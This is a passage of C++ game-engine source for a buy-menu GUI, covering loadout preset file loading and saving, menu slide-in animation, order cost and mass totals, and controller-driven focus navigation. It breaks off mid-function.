void BuyMenuGUI::SetLogoImage(string path)
{
m_pLogo = dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("CatalogLogo"));
ContentFile logoFile(path.c_str());
m_pLogo->SetDrawImage(new AllegroBitmap(logoFile.GetAsBitmap()));
m_pLogo->SetDrawType(GUICollectionBox::Image);
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: ClearCartList
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Clear the cart out of items selected for purchase
void BuyMenuGUI::ClearCartList()
{
m_pCartList->ClearList();
}
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: LoadAllLoadoutsFromFile
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Loads or re-loads all the loadout presets from the appropriate files
// on disk. This will first clear out all current loadout presets!
bool BuyMenuGUI::LoadAllLoadoutsFromFile()
{
// First clear out all loadouts
m_Loadouts.clear();
// Try to load the player's loadout settings from file, if there is one
char loadoutPath[256];
// A metagame player
if (m_MetaPlayer != Activity::NOPLAYER)
{
// Start loading any additional stuff from the custom user file
sprintf(loadoutPath, "Metagames.rte/%s - LoadoutsMP%d.ini", g_MetaMan.GetGameName().c_str(), m_MetaPlayer + 1);
if (!exists(loadoutPath))
{
// If the file doesn't exist, then we're not loading it, are we?
loadoutPath[0] = 0;
}
}
// Not a metagame player, just a regular scenario player
else
{
sprintf(loadoutPath, "Base.rte/LoadoutsP%d.ini", m_pController->GetPlayer() + 1);
}
// Open the file
Reader loadoutFile(loadoutPath, false, 0, true);
// Read any and all loadout presets from file
while (loadoutFile.IsOK() && loadoutFile.NextProperty())
{
Loadout newLoad;
loadoutFile >> newLoad;
// If we successfully found everything this loadout requires, add it to the preset menu
// Why be picky?
if (!newLoad.GetCargoList()->empty())//newLoad.IsComplete())
m_Loadouts.push_back(newLoad);
}
if (m_NativeTechModule > 0)
{
// Then try to get the different standard Loadouts for this' player's native tech module if it's not -All-
const Loadout *pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Default", m_NativeTechModule));
// Add it to the Loadout list - it will be copied inside so no worry about passing in a preset instance
if (pDefaultLoadoutPreset)
m_Loadouts.push_back(*pDefaultLoadoutPreset);
// Attempt to do it for all the other standard loadout types as well
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Infantry Light", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Infantry Heavy", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Infantry CQB", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Infantry Grenadier", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Infantry Sniper", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Infantry Engineer", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Mecha", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
if (pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Turret", m_NativeTechModule)))
m_Loadouts.push_back(*pDefaultLoadoutPreset);
}
// If no file was found, try to load a Tech module-specified loadout defaults!
if (m_Loadouts.empty())
{
// Try to get the default Loadout for this' player's native tech module
const Loadout *pDefaultLoadoutPreset = dynamic_cast<const Loadout *>(g_PresetMan.GetEntityPreset("Loadout", "Default", m_NativeTechModule));
// Add it to the Loadout list - it will be copied inside so no worry about passing in a preset instance
if (pDefaultLoadoutPreset)
m_Loadouts.push_back(*pDefaultLoadoutPreset);
}
/* This is dangerous, crash prone and unneccessary
// If there were no loadouts to load, or no file present, or default Presets defined, set up a single failsafe default one
if (m_Loadouts.empty())
{
Loadout defaultLoadout;
// Default craft
defaultLoadout.SetDeliveryCraft(dynamic_cast<const ACraft *>(g_PresetMan.GetEntityPreset("ACRocket", "Rocket MK1")));
// Default passenger
defaultLoadout.AddToCargoList(dynamic_cast<const AHuman *>(g_PresetMan.GetEntityPreset("AHuman", "Robot 1")));
// Default primary weapon
defaultLoadout.AddToCargoList(dynamic_cast<const MOSprite *>(g_PresetMan.GetEntityPreset("HDFirearm", "SMG")));
// Default tool
defaultLoadout.AddToCargoList(dynamic_cast<const MOSprite *>(g_PresetMan.GetEntityPreset("HDFirearm", "Medium Digger")));
// Add to list
if (defaultLoadout.IsComplete())
m_Loadouts.push_back(defaultLoadout);
}
*/
// Load the first loadout preset into the cart by default
DeployLoadout(0);
// Refresh all views so we see the new sets if we're in the preset category
CategoryChange();
return true;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Virtual Method: SaveAllLoadoutsToFile
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Saves all the loadouts to appropriate file on disk. Does NOT save
// any named presets which will be loaded from the standard preset
// loadouts first anyway.
bool BuyMenuGUI::SaveAllLoadoutsToFile()
{
// Nothing to save
if (m_Loadouts.empty())
return true;
char loadoutPath[256];
// A metagame player
if (m_MetaPlayer != Activity::NOPLAYER)
{
// If a new metagame, then just save over the metagame autosave instead of to the new game save
// Since the players of a new game are likely to have different techs and therefore different default loadouts
// So we should start fresh with new loadouts loaded from tech defaults for each player
if (g_MetaMan.GetGameName() == DEFAULTGAMENAME)
sprintf(loadoutPath, "Metagames.rte/%s - LoadoutsMP%d.ini", AUTOSAVENAME, m_MetaPlayer + 1);
else
sprintf(loadoutPath, "Metagames.rte/%s - LoadoutsMP%d.ini", g_MetaMan.GetGameName().c_str(), m_MetaPlayer + 1);
}
else
sprintf(loadoutPath, "Base.rte/LoadoutsP%d.ini", m_pController->GetPlayer() + 1);
// Open the file
Writer loadoutFile(loadoutPath, false);
// Write out all the loadouts that are custom, user made. The preset ones will later be read from the presetman instead
for (vector<Loadout>::iterator itr = m_Loadouts.begin(); itr != m_Loadouts.end(); ++itr)
{
// Don't write out and preset references.. tehy'll be read first from presetman on load anyway
if ((*itr).GetPresetName() == "None")
{
loadoutFile.NewProperty("AddLoadout");
loadoutFile << (*itr);
}
}
return true;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: SetEnabled
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Enables or disables the menu. This will animate it in and out of view.
void BuyMenuGUI::SetEnabled(bool enable)
{
if (enable && m_MenuEnabled != ENABLED && m_MenuEnabled != ENABLING)
{
if (g_FrameMan.IsInMultiplayerMode())
{
// If we're not split screen horizontally, then stretch out the layout for all the relevant controls
int stretchAmount = g_FrameMan.GetPlayerFrameBufferHeight(m_pController->GetPlayer()) - m_pParentBox->GetHeight();
if (stretchAmount != 0)
{
m_pParentBox->SetSize(m_pParentBox->GetWidth(), m_pParentBox->GetHeight() + stretchAmount);
m_pShopList->SetSize(m_pShopList->GetWidth(), m_pShopList->GetHeight() + stretchAmount);
m_pCartList->SetSize(m_pCartList->GetWidth(), m_pCartList->GetHeight() + stretchAmount);
m_pCraftLabel->SetPositionAbs(m_pCraftLabel->GetXPos(), m_pCraftLabel->GetYPos() + stretchAmount);
m_pCraftBox->SetPositionAbs(m_pCraftBox->GetXPos(), m_pCraftBox->GetYPos() + stretchAmount);
m_pCraftCollectionBox->SetPositionAbs(m_pCraftCollectionBox->GetXPos(), m_pCraftCollectionBox->GetYPos() + stretchAmount);
m_pCostLabel->SetPositionAbs(m_pCostLabel->GetXPos(), m_pCostLabel->GetYPos() + stretchAmount);
m_pBuyButton->SetPositionAbs(m_pBuyButton->GetXPos(), m_pBuyButton->GetYPos() + stretchAmount);
}
}
else
{
// If we're not split screen horizontally, then stretch out the layout for all the relevant controls
int stretchAmount = g_FrameMan.GetPlayerScreenHeight() - m_pParentBox->GetHeight();
if (stretchAmount != 0)
{
m_pParentBox->SetSize(m_pParentBox->GetWidth(), m_pParentBox->GetHeight() + stretchAmount);
m_pShopList->SetSize(m_pShopList->GetWidth(), m_pShopList->GetHeight() + stretchAmount);
m_pCartList->SetSize(m_pCartList->GetWidth(), m_pCartList->GetHeight() + stretchAmount);
m_pCraftLabel->SetPositionAbs(m_pCraftLabel->GetXPos(), m_pCraftLabel->GetYPos() + stretchAmount);
m_pCraftBox->SetPositionAbs(m_pCraftBox->GetXPos(), m_pCraftBox->GetYPos() + stretchAmount);
m_pCraftCollectionBox->SetPositionAbs(m_pCraftCollectionBox->GetXPos(), m_pCraftCollectionBox->GetYPos() + stretchAmount);
m_pCostLabel->SetPositionAbs(m_pCostLabel->GetXPos(), m_pCostLabel->GetYPos() + stretchAmount);
m_pBuyButton->SetPositionAbs(m_pBuyButton->GetXPos(), m_pBuyButton->GetYPos() + stretchAmount);
}
}
m_MenuEnabled = ENABLING;
// Reset repeat timers
m_RepeatStartTimer.Reset();
m_RepeatTimer.Reset();
// Set the mouse cursor free
g_UInputMan.TrapMousePos(false, m_pController->GetPlayer());
// Move the mouse cursor to the middle of the player's screen
int mouseOffX, mouseOffY;
m_pGUIInput->GetMouseOffset(mouseOffX, mouseOffY);
Vector mousePos(-mouseOffX + (g_FrameMan.GetPlayerFrameBufferWidth(m_pController->GetPlayer()) / 2), -mouseOffY + (g_FrameMan.GetPlayerFrameBufferHeight(m_pController->GetPlayer()) / 2));
g_UInputMan.SetMousePos(mousePos, m_pController->GetPlayer());
// Default focus to the menu button
m_MenuFocus = OK;
m_FocusChange = true;
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
m_EnterMenuSound.Play(0, m_pController->GetPlayer());
}
else if (!enable && m_MenuEnabled != DISABLED && m_MenuEnabled != DISABLING)
{
m_MenuEnabled = DISABLING;
// Trap the mouse cursor again
g_UInputMan.TrapMousePos(true, m_pController->GetPlayer());
// Only play switching away sound
// if (!m_PurchaseMade)
m_ExitMenuSound.Play(0, m_pController->GetPlayer());
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: SetPosOnScreen
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Sets where on the screen that this GUI is being drawn to. If upper
// left corner, then 0, 0. This will affect the way the mouse is positioned
// etc.
void BuyMenuGUI::SetPosOnScreen(int newPosX, int newPosY)
{
m_pGUIController->SetPosOnScreen(newPosX, newPosY);
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: SetMetaPlayer
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Sets which MetaPlayer uses this menu, if any.
void BuyMenuGUI::SetMetaPlayer(int metaPlayer)
{
if (metaPlayer >= Activity::PLAYER_1 && metaPlayer < g_MetaMan.GetPlayerCount())
{
m_MetaPlayer = metaPlayer;
SetNativeTechModule(g_MetaMan.GetPlayer(m_MetaPlayer)->GetNativeTechModule());
SetForeignCostMultiplier(g_MetaMan.GetPlayer(m_MetaPlayer)->GetForeignCostMultiplier());
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: SetNativeTechModule
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Sets which DataModule ID should be treated as the native tech of the
// user of this menu.
void BuyMenuGUI::SetNativeTechModule(int whichModule)
{
if (whichModule >= 0 && whichModule < g_PresetMan.GetTotalModuleCount())
{
// Set the multipliers and refresh everything that needs refreshing to reflect the change
m_NativeTechModule = whichModule;
SetModuleExpanded(m_NativeTechModule);
DeployLoadout(0);
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: SetModuleExpanded
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Sets whether a data module shown in the item menu should be expanded
// or not.
void BuyMenuGUI::SetModuleExpanded(int whichModule, bool expanded)
{
int moduleCount = g_PresetMan.GetTotalModuleCount();
if (whichModule > 0 && whichModule < moduleCount)
{
m_aExpandedModules[whichModule] = expanded;
// Refresh the item view with the newly expanded module items
CategoryChange(false);
}
// If base module (0), or out of range module, then affect all
else
{
for (int m = 0; m < moduleCount; ++m)
m_aExpandedModules[m] = expanded;
}
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: GetOrderList
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Return the list of things currently in the purchase order list box.
bool BuyMenuGUI::GetOrderList(list<const SceneObject *> &listToFill)
{
if (m_pCartList->GetItemList()->empty())
return false;
const SceneObject *pSObject = 0;
for (vector<GUIListPanel::Item *>::iterator itr = m_pCartList->GetItemList()->begin(); itr != m_pCartList->GetItemList()->end(); ++itr)
{
if (pSObject = dynamic_cast<const SceneObject *>((*itr)->m_pEntity))
listToFill.push_back(pSObject);
}
return true;
}
bool BuyMenuGUI::CommitPurchase(string presetName)
{
if (m_OwnedItems.size() > 0)
{
if (m_OwnedItems.find(presetName) != m_OwnedItems.end() && m_OwnedItems[presetName] > 0)
{
m_OwnedItems[presetName] -= 1;
return true;
}
else
return false;
}
return false;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: GetTotalOrderCost
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Return teh total cost of everything listed in the order box.
float BuyMenuGUI::GetTotalOrderCost()
{
float totalCost = 0;
if (m_OwnedItems.size() > 0)
{
map<string, int> orderedItems;
for (vector<GUIListPanel::Item *>::iterator itr = m_pCartList->GetItemList()->begin(); itr != m_pCartList->GetItemList()->end(); ++itr)
{
bool needsToBePaid = true;
string presetName = (*itr)->m_pEntity->GetModuleAndPresetName();
if (orderedItems.find(presetName) != orderedItems.end())
orderedItems[presetName] = 1;
else
orderedItems[presetName] += 1;
if (m_OwnedItems.find(presetName) != m_OwnedItems.end() && m_OwnedItems[presetName] >= orderedItems[presetName])
needsToBePaid = false;
if (needsToBePaid)
{
totalCost += dynamic_cast<const MOSprite *>((*itr)->m_pEntity)->GetGoldValue(m_NativeTechModule, m_ForeignCostMult);
}
}
if (m_pSelectedCraft)
{
bool needsToBePaid = true;
string presetName = m_pSelectedCraft->GetModuleAndPresetName();
if (orderedItems.find(presetName) != orderedItems.end())
orderedItems[presetName] = 1;
else
orderedItems[presetName] += 1;
if (m_OwnedItems.find(presetName) != m_OwnedItems.end() && m_OwnedItems[presetName] >= orderedItems[presetName])
needsToBePaid = false;
if (needsToBePaid)
{
totalCost += dynamic_cast<const MOSprite *>(m_pSelectedCraft)->GetGoldValue(m_NativeTechModule, m_ForeignCostMult);
}
}
}
else
{
for (vector<GUIListPanel::Item *>::iterator itr = m_pCartList->GetItemList()->begin(); itr != m_pCartList->GetItemList()->end(); ++itr)
totalCost += dynamic_cast<const MOSprite *>((*itr)->m_pEntity)->GetGoldValue(m_NativeTechModule, m_ForeignCostMult);
// Add the delivery craft's cost
if (m_pSelectedCraft)
{
totalCost += dynamic_cast<const MOSprite *>(m_pSelectedCraft)->GetGoldValue(m_NativeTechModule, m_ForeignCostMult);
}
}
return totalCost;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: GetTotalOrderMass
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Return teh total mass of everything listed in the order box.
float BuyMenuGUI::GetTotalOrderMass()
{
float totalMass = 0;
for (vector<GUIListPanel::Item *>::iterator itr = m_pCartList->GetItemList()->begin(); itr != m_pCartList->GetItemList()->end(); ++itr)
totalMass += dynamic_cast<const MOSprite *>((*itr)->m_pEntity)->GetMass();
totalMass += GetCraftMass();
return totalMass;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: GetCraftMass
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Return mass of craft used in the order box.
float BuyMenuGUI::GetCraftMass()
{
float totalMass = 0;
// Add the delivery craft's mass
if (m_pSelectedCraft)
totalMass += dynamic_cast<const MOSprite *>(m_pSelectedCraft)->GetMass();
return totalMass;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: GetTotalOrderPassengers
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Return teh total number of passengers in the order box.
// Arguments: None.
// Return value: The total number of passengers.
int BuyMenuGUI::GetTotalOrderPassengers()
{
int passengers = 0;
for (vector<GUIListPanel::Item *>::iterator itr = m_pCartList->GetItemList()->begin(); itr != m_pCartList->GetItemList()->end(); ++itr)
{
if (dynamic_cast<const Actor *>((*itr)->m_pEntity))
passengers++;
}
return passengers;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: Update
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Updates the state of this Menu each frame
void BuyMenuGUI::Update()
{
// Enable mouse input if the controller allows it
m_pGUIController->EnableMouse(m_pController->IsMouseControlled());
// Reset the purchasing indicator
m_PurchaseMade = false;
// Popup box is hidden by default
m_pPopupBox->SetVisible(false);
////////////////////////////////////////////////////////////////////////
// Animate the menu into and out of view if enabled or disabled
if (m_MenuEnabled == ENABLING)
{
m_pParentBox->SetEnabled(true);
m_pParentBox->SetVisible(true);
Vector position, occlusion;
float toGo = -floorf((float)m_pParentBox->GetXPos());
float goProgress = m_MenuSpeed * m_MenuTimer.GetElapsedRealTimeS();
if (goProgress > 1.0)
goProgress = 1.0;
position.m_X = m_pParentBox->GetXPos() + ceilf(toGo * goProgress);
occlusion.m_X = m_pParentBox->GetWidth() + m_pParentBox->GetXPos();
// If not split screened, then make the menu scroll in diagonally instead of straight from the side
// Tie it to the (X) horizontal position
// EDIT: nah, just make the menu larger, but do change the occlusion, looks better
if (!g_FrameMan.GetHSplit())
{
// position.m_Y = -m_pParentBox->GetHeight() * fabs(position.m_X / m_pParentBox->GetWidth());
// occlusion.m_Y = m_pParentBox->GetHeight() + m_pParentBox->GetYPos();
occlusion.m_Y = m_pParentBox->GetHeight() / 2;
}
m_pParentBox->SetPositionAbs(position.m_X, position.m_Y);
g_SceneMan.SetScreenOcclusion(occlusion, g_ActivityMan.GetActivity()->ScreenOfPlayer(m_pController->GetPlayer()));
if (m_pParentBox->GetXPos() >= 0)
{
m_MenuEnabled = ENABLED;
CategoryChange();
}
}
// Animate the menu out of view
else if (m_MenuEnabled == DISABLING)
{
float toGo = -ceilf(((float)m_pParentBox->GetWidth() + (float)m_pParentBox->GetXPos()));
float goProgress = m_MenuSpeed * m_MenuTimer.GetElapsedRealTimeS();
if (goProgress > 1.0)
goProgress = 1.0;
m_pParentBox->SetPositionAbs(m_pParentBox->GetXPos() + floorf(toGo * goProgress), 0);
g_SceneMan.SetScreenOcclusion(Vector(m_pParentBox->GetWidth() + m_pParentBox->GetXPos(), 0), g_ActivityMan.GetActivity()->ScreenOfPlayer(m_pController->GetPlayer()));
m_pPopupBox->SetVisible(false);
if (m_pParentBox->GetXPos() <= -m_pParentBox->GetWidth())
{
m_pParentBox->SetEnabled(false);
m_pParentBox->SetVisible(false);
m_MenuEnabled = DISABLED;
}
}
else if (m_MenuEnabled == ENABLED)
{
m_pParentBox->SetEnabled(true);
m_pParentBox->SetVisible(true);
}
else if (m_MenuEnabled == DISABLED)
{
m_pParentBox->SetEnabled(false);
m_pParentBox->SetVisible(false);
m_pPopupBox->SetVisible(false);
}
// Reset the menu animation timer so we can measure how long it takes till next frame
m_MenuTimer.Reset();
// Quit now if we aren't enabled
if (m_MenuEnabled != ENABLED && m_MenuEnabled != ENABLING)
return;
// Update the user controller
// m_pController->Update();
// Gotto update this all the time because other players may have bought stuff and changed the funds available to the team
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
/////////////////////////////////////////////////////
// Mouse cursor logic
int mouseX, mouseY;
m_pGUIInput->GetMousePosition(&mouseX, &mouseY);
m_CursorPos.SetXY(mouseX, mouseY);
////////////////////////////////////////////
// Notification blinking logic
if (m_BlinkMode == NOFUNDS)
{
m_pCostLabel->SetVisible(m_BlinkTimer.AlternateSim(250));
}
else if (m_BlinkMode == NOCRAFT)
{
bool blink = m_BlinkTimer.AlternateSim(250);
m_pCraftLabel->SetVisible(blink);
m_pCraftBox->SetVisible(blink);
m_pCraftCollectionBox->SetVisible(blink);
}
else if (m_BlinkMode == MAXMASS)
{
m_pCraftMassLabel->SetVisible(m_BlinkTimer.AlternateSim(250));
m_pCraftMassCaptionLabel->SetVisible(m_BlinkTimer.AlternateSim(250));
}
else if (m_BlinkMode == MAXPASSENGERS)
{
m_pCraftPassengersLabel->SetVisible(m_BlinkTimer.AlternateSim(250));
m_pCraftPassengersCaptionLabel->SetVisible(m_BlinkTimer.AlternateSim(250));
}
// Time out the blinker
if (m_BlinkMode != NOBLINK && m_BlinkTimer.IsPastSimMS(1500))
{
m_pCostLabel->SetVisible(true);
m_pCraftLabel->SetVisible(true);
m_pCraftBox->SetVisible(true);
m_pCraftCollectionBox->SetVisible(true);
m_pCraftMassCaptionLabel->SetVisible(true);
m_pCraftMassLabel->SetVisible(true);
m_pCraftPassengersCaptionLabel->SetVisible(true);
m_pCraftPassengersLabel->SetVisible(true);
m_BlinkMode = NOBLINK;
}
/////////////////////////////////////////////
// Repeating input logic
bool pressLeft = m_pController->IsState(PRESS_LEFT);
bool pressRight = m_pController->IsState(PRESS_RIGHT);
bool pressUp = m_pController->IsState(PRESS_UP) || m_pController->IsState(SCROLL_UP);
bool pressDown = m_pController->IsState(PRESS_DOWN) || m_pController->IsState(SCROLL_DOWN);
// If no direciton is held down, then cancel the repeating
if (!(m_pController->IsState(MOVE_RIGHT) || m_pController->IsState(MOVE_LEFT) || m_pController->IsState(MOVE_UP) || m_pController->IsState(MOVE_DOWN)))
{
m_RepeatStartTimer.Reset();
m_RepeatTimer.Reset();
}
// Check if any direction has been held for the starting amount of time to get into repeat mode
if (m_RepeatStartTimer.IsPastRealMS(200))
{
// Check for the repeat interval
if (m_RepeatTimer.IsPastRealMS(75))
{
if (m_pController->IsState(MOVE_RIGHT))
pressRight = true;
else if (m_pController->IsState(MOVE_LEFT))
pressLeft = true;
else if (m_pController->IsState(MOVE_UP))
pressUp = true;
else if (m_pController->IsState(MOVE_DOWN))
pressDown = true;
m_RepeatTimer.Reset();
}
}
/////////////////////////////////////////////
// Change focus as the user directs
if (pressRight)
{
m_MenuFocus++;
m_FocusChange = 1;
// Went too far
if (m_MenuFocus >= FOCUSCOUNT)
{
m_MenuFocus = FOCUSCOUNT - 1;
m_FocusChange = 0;
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
// Skip categories if we're going sideways from the sets buttons
if (m_MenuFocus == CATEGORIES)
{
m_MenuFocus++;
m_FocusChange++;
}
// Skip giving focus to the items list if it's empty
if (m_MenuFocus == ITEMS && m_pShopList->GetItemList()->empty())
{
m_MenuFocus++;
m_FocusChange++;
}
// Skip giving focus to the order list if it's empty
if (m_MenuFocus == ORDER && m_pCartList->GetItemList()->empty())
{
m_MenuFocus++;
m_FocusChange++;
}
}
else if (pressLeft)
{
m_MenuFocus--;
m_FocusChange = -1;
// Went too far
if (m_MenuFocus < 0)
{
m_MenuFocus = 0;
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
// Skip giving focus to the order or item list if they're empty
if (m_MenuFocus == ORDER && m_pCartList->GetItemList()->empty())
{
m_MenuFocus--;
m_FocusChange--;
}
// Skip giving focus to the items list if it's empty
if (m_MenuFocus == ITEMS && m_pShopList->GetItemList()->empty())
{
m_MenuFocus--;
m_FocusChange--;
}
}
// Play focus change sound, if applicable
if (m_FocusChange && m_MenuEnabled != ENABLING)
m_FocusChangeSound.Play(0, m_pController->GetPlayer());
/* Blah, should control whatever is currently focused
// Mouse wheel only controls the categories, so switch to it and make the category go up or down
if (m_pController->IsState(SCROLL_UP) || m_pController->IsState(SCROLL_DOWN))
{
m_FocusChange = CATEGORIES - m_MenuFocus;
m_MenuFocus = CATEGORIES;
}
*/
/////////////////////////////////////////
// SETS BUTTONS focus
if (m_MenuFocus == SETBUTTONS)
{
if (m_FocusChange)
{
// Set the correct special Sets category so the sets buttons show up
m_MenuCategory = SETS;
CategoryChange();
m_pSaveButton->SetFocus();
m_FocusChange = 0;
}
if (m_pController->IsState(PRESS_FACEBUTTON))
{
if (m_pSaveButton->HasFocus())
SaveCurrentLoadout();
else if (m_pClearButton->HasFocus())
{
m_Loadouts.pop_back();
// Update the list of loadout presets so the removal shows up
CategoryChange();
// Set focus back on the save button (CatChange changed it)
m_pClearButton->SetFocus();
}
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
}
// Switch back focus to the category list if the player presses up while on the save button
if (m_pController->IsState(PRESS_UP) || m_pController->IsState(SCROLL_UP))
{
if (m_pSaveButton->HasFocus())
{
m_MenuFocus = CATEGORIES;
m_FocusChange = 1;
}
else if (m_pClearButton->HasFocus())
{
m_pSaveButton->SetFocus();
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
}
else if (m_pController->IsState(PRESS_DOWN) || m_pController->IsState(SCROLL_DOWN))
{
if (m_pSaveButton->HasFocus())
{
m_pClearButton->SetFocus();
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
else if (m_pClearButton->HasFocus())
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
}
/////////////////////////////////////////
// CATEGORIES focus
else if (m_MenuFocus == CATEGORIES)
{
if (m_FocusChange)
{
m_pCategoryTabs[m_MenuCategory]->SetFocus();
m_FocusChange = 0;
}
if (pressDown)
{
m_MenuCategory++;
if (m_MenuCategory >= CATEGORYCOUNT)
{
m_MenuCategory = CATEGORYCOUNT - 1;
// Go to the preset buttons if hit down on the last one
m_MenuFocus = SETBUTTONS;
m_FocusChange = -1;
// m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
/*
// Loop Around
if (m_MenuCategory >= CATEGORYCOUNT)
m_MenuCategory = 0;
*/
else
{
CategoryChange();
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
}
else if (pressUp)
{
m_MenuCategory--;
if (m_MenuCategory < 0)
{
m_MenuCategory = 0;
m_UserErrorSound.Play(0, m_pController->GetPlayer());
}
/*
// Loop around
if (m_MenuCategory < 0)
m_MenuCategory = CATEGORYCOUNT - 1;
*/
else
{
CategoryChange();
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
}
}
/////////////////////////////////////////
// ITEMS LIST focus
else if (m_MenuFocus == ITEMS)
{
if (m_FocusChange)
{
m_pShopList->SetFocus();
// Select the top one in the item list if none is already selected
if (!m_pShopList->GetItemList()->empty() && m_pShopList->GetSelectedIndex() < 0)
m_pShopList->SetSelectedIndex(m_ListItemIndex = 0);
// Synch our index with the one already sleected in the list
else
{
m_ListItemIndex = m_pShopList->GetSelectedIndex();
m_pShopList->ScrollToSelected();
}
m_FocusChange = 0;
}
int listSize = m_pShopList->GetItemList()->size();
if (pressDown)
{
m_ListItemIndex++;
// Loop around
if (m_ListItemIndex >= listSize)
m_ListItemIndex = 0;
// Update the selected shop item index
m_CategoryItemIndex[m_MenuCategory] = m_ListItemIndex;
m_pShopList->SetSelectedIndex(m_ListItemIndex);
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
else if (pressUp)
{
m_ListItemIndex--;
// Loop around
if (m_ListItemIndex < 0)
m_ListItemIndex = listSize - 1;
// Update the selected shop item index
m_CategoryItemIndex[m_MenuCategory] = m_ListItemIndex;
m_pShopList->SetSelectedIndex(m_ListItemIndex);
m_SelectionChangeSound.Play(0, m_pController->GetPlayer());
}
// Get handle to the currently selected item, if any
GUIListPanel::Item *pItem = m_pShopList->GetItem(m_ListItemIndex);
// Show popup info box next to selected item, but only if it has a description
string description = "";
// Get it from the regular Entitiy preset
if (pItem && pItem->m_pEntity && !pItem->m_pEntity->GetDescription().empty())
description = pItem->m_pEntity->GetDescription();
// Show popup info box next to selected module item, but only if it has a description
else if (pItem && pItem->m_ExtraIndex >= 0)
{
const DataModule *pModule = g_PresetMan.GetDataModule(pItem->m_ExtraIndex);
if (pModule && !pModule->GetDescription().empty())
description = pModule->GetDescription();
}
// Now show the description, if we have any
if (!description.empty())
{
// Show the popup box with the hovered item's description
m_pPopupBox->SetVisible(true);
// Need to add an offset to make it look better and not have the cursor obscure text
m_pPopupBox->SetPositionAbs(m_pShopList->GetXPos() - 6 + m_pShopList->GetWidth(), m_pShopList->GetYPos() + m_pShopList->GetStackHeight(pItem) - m_pShopList->GetScrollVerticalValue());
// Make sure the popup box doesn't drop out of sight
if (m_pPopupBox->GetYPos() + m_pPopupBox->GetHeight() > m_pParentBox->GetHeight())
m_pPopupBox->SetPositionAbs(m_pPopupBox->GetXPos(), m_pParentBox->GetHeight() - m_pPopupBox->GetHeight());
m_pPopupText->SetHAlignment(GUIFont::Left);
m_pPopupText->SetText(description);
// Resize the box height to fit the text
int newHeight = m_pPopupText->ResizeHeightToFit();
m_pPopupBox->Resize(m_pPopupBox->GetWidth(), newHeight + 10);
}
// User selected to add an item to cart list!
if (m_pController->IsState(PRESS_FACEBUTTON))
{
// User pressed on a module group item; toggle its expansion!
if (pItem && pItem->m_ExtraIndex >= 0)
{
// Make appropriate sound
if (!m_aExpandedModules[pItem->m_ExtraIndex])
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
// Different, maybe?
else
m_ItemChangeSound.Play(0, m_pController->GetPlayer());
